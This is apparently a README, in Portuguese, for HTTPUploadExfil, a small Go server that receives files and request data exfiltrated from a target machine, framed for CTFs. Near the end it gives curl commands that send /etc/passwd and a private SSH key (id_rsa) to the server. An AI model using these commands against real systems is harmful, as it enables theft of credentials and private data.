
Um servidor HTTP simples para entregar e exfiltrar arquivos/dados durante, por exemplo, CTFs.
HTTPUploadExfil é um servidor HTTP (muito) simples escrito em Go que é útil para obter arquivos (e outras informações) de uma máquina usando HTTP. Embora existam muitos casos de uso, ele foi projetado para ser usado em cenários ofensivos de baixo risco (por exemplo, CTFs).
Pense nisto como python3 -m http.server, mas para extrair dados de uma máquina em vez de colocar dados na máquina.
Obviamente, esta é uma forma muito barulhenta e um tanto restrita de exfiltrar dados. No entanto, é bastante prática e um pouco mais fácil do que, por exemplo, usar SMB ou FTP. Se você está procurando algo mais elegante, dê uma olhada, por exemplo, em dnsteal ou PyExfil.
go build../httpuploadexfil :1337 /home/kali/loot na sua máquina.http://YOUR_IP:1337/ na máquina da qual você precisa extrair dados./home/kali/loot.Se precisar de HTTPs, veja as informações abaixo.
Você também pode baixar binários para Linux e Windows do GitHub. No entanto, esses binários não representam necessariamente as alterações mais recentes.
Embora existam binários disponíveis, é absolutamente recomendável compilar isto por conta própria. Dessa forma, você terá a versão mais recente e saberá exatamente o que está executando. O processo é trivial:
Simplesmente execute go build dentro da pasta e você obterá um executável httpuploadexfil para sua plataforma.
Se você fizer alterações na ferramenta, lembre-se de formatar usando go fmt main.go.
Alternativamente, você também pode usar make para compilar a ferramenta. Você também pode executar make cert para gerar certificados SSL (veja abaixo).
O caso de uso mais comum seria executar o servidor na Máquina A. Agora, na Máquina B você acessa o formulário de upload usando um navegador e seleciona um arquivo para exfiltrar. Claro, como você pode ver abaixo, isso também pode ser feito usando, por exemplo, curl.
Além de enviar arquivos, você também pode usar HTTPUploadExfil para exfiltrar dados usando requisições GET simples. Se uma requisição for enviada para o endpoint \g, toda a requisição será armazenada em disco.
Portanto, você pode exfiltrar dados usando o cabeçalho da requisição. É mais fácil usar parâmetros GET (por exemplo, ?data=...), mas existem outras opções.

Por padrão, HTTPUploadExfil será servido na porta 8080. Todos os arquivos serão gravados no diretório atual.
./httpuploadexfil
Você também pode fornecer alguns argumentos:
./httpuploadexfil :1337 /home/kali/loot
Se precisar de registro de requisições, passe a flag -log assim:
./httpuploadexfil -log
O primeiro argumento é um endereço de escuta (bind), o segundo é a pasta para armazenar os arquivos.
A ferramenta também expõe os arquivos no diretório loot sob o endpoint /l. Isso pode ser usado como uma maneira fácil de transferir arquivos para o alvo.
O servidor web expõe quatro endpoints para você usar:
/ (GET) é o formulário de upload./p (POST) recebe os dados do formulário de upload. Requer uma requisição multipart/form-data com o campo file preenchido./g (GET) aceitará qualquer requisição GET e armazenará a requisição completa no servidor./l (GET) fornecerá acesso aos arquivos na pasta especificada (Listagem de Diretório). Isso é para fornecer funcionalidade básica de python3 -m http.server.HTTPUploadExfil também pode ser usado no modo HTTPs. Para isso, basta colocar os arquivos HTTPUploadExfil.csr e HTTPUploadExfil.key ao lado do binário. Eles podem ser gerados, por exemplo, da seguinte forma:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
Para isso, você também pode executar make cert.
Se o servidor encontrar um arquivo HTTPUploadExfil.csr, ele tentará iniciar no modo HTTPs. Para voltar ao HTTP, basta remover ou renomear os arquivos de certificado.
Usando Bash, podemos exfiltrar dados via GET usando, por exemplo:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
Claro, também podemos usar curl para exfiltrar arquivos:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server)